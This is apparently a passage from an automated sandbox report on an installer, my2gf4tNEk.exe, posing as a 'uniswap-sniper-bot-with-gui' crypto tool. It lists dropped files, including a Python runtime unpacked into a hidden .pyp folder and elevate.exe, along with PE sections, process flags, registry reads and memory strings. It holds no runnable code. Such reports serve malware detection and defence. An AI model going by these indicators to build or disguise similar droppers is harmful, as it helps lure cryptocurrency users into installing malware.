Source: libEGL.dll.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .00cfg
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .gxfg
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .retplne
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .rodata
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .voltbl
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: CPADinfo
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: malloc_h
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .voltbl
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll.0.dr	Static PE information: section name: .00cfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll.0.dr	Static PE information: section name: .voltbl
Source: vulkan-1.dll.0.dr	Static PE information: section name: _RDATA
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll0.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll0.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll0.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll0.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll0.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .00cfg
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .gxfg
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .retplne
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .rodata
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .voltbl
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: CPADinfo
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: malloc_h
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .00cfg
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .voltbl
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .00cfg
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .voltbl
Source: vulkan-1.dll0.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node2.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node6.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node8.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.24.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.24.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\ffmpeg.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\secp256k1\prebuilds\win32-x64\secp256k1.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\keccak\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\uniswap-sniper-bot-with-gui.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\ffmpeg.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\win32comext\axscript\axscript.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File created: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\secp256k1\prebuilds\win32-x64\secp256k1.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\keccak\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\win32comext\axscript\axscript.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgB095.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809

Source: C:\Users\user\Desktop\my2gf4tNEk.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Code Cache\js FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Code Cache\wasm FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\blob_storage\b1152f0f-358e-43d2-983c-7f5902ae2f78 FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Cache\Cache_Data FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user FullSizeInformation

Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Virtual Webcam
Source: my2gf4tNEk.exe, 00000000.00000003.2410659082.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Adreno (TM) 418Adreno (TM) 530Adreno (TM) 540GL_EXT_texture_lod_biasARB_draw_buffersGL_ARB_texture_swizzleGL_EXT_texture_swizzleGL_ARB_shader_bit_encodingGL_ARB_shading_language_packingGL_ARB_explicit_attrib_locationGL_ARB_explicit_uniform_locationGL_ARB_texture_gatherGL_ARB_texture_cube_map_arrayGL_ARB_pixel_buffer_objectGL_EXT_pixel_buffer_objectGL_EXT_draw_buffers2GL_ARB_fragment_shaderGL_ARB_shader_texture_lodGL_ARB_shader_viewport_layer_arrayGL_NV_viewport_array2GL_NV_texture_border_clampGL_ARB_robust_buffer_access_behaviorGL_EXT_framebuffer_sRGBGL_ARB_framebuffer_sRGBGL_ARB_gpu_shader5functions->standard == STANDARD_GL_DESKTOP && isAMDfunctions->standard == STANDARD_GL_DESKTOP && isIntelisIntel && !IsSandyBridge(device) && !IsIvyBridge(device) && !IsHaswell(device)IsApple() && isIntelisIntel && IsApple() && IsSkylake(device) && GetMacOSVersion() < OSVersion(10, 13, 2)isIntel \|\| isAMDIsLinux() && functions->standard == STANDARD_GL_DESKTOP && isAMD(IsApple() && functions->standard == STANDARD_GL_DESKTOP) \|\| (IsLinux() && isAMD)IsApple() && functions->standard == STANDARD_GL_DESKTOP && GetMacOSVersion() < OSVersion(10, 11, 0)IsApple() && isIntel && GetMacOSVersion() < OSVersion(10, 12, 0)IsApple() && isAMDIsAndroid() && isQualcommfunctions->standard == 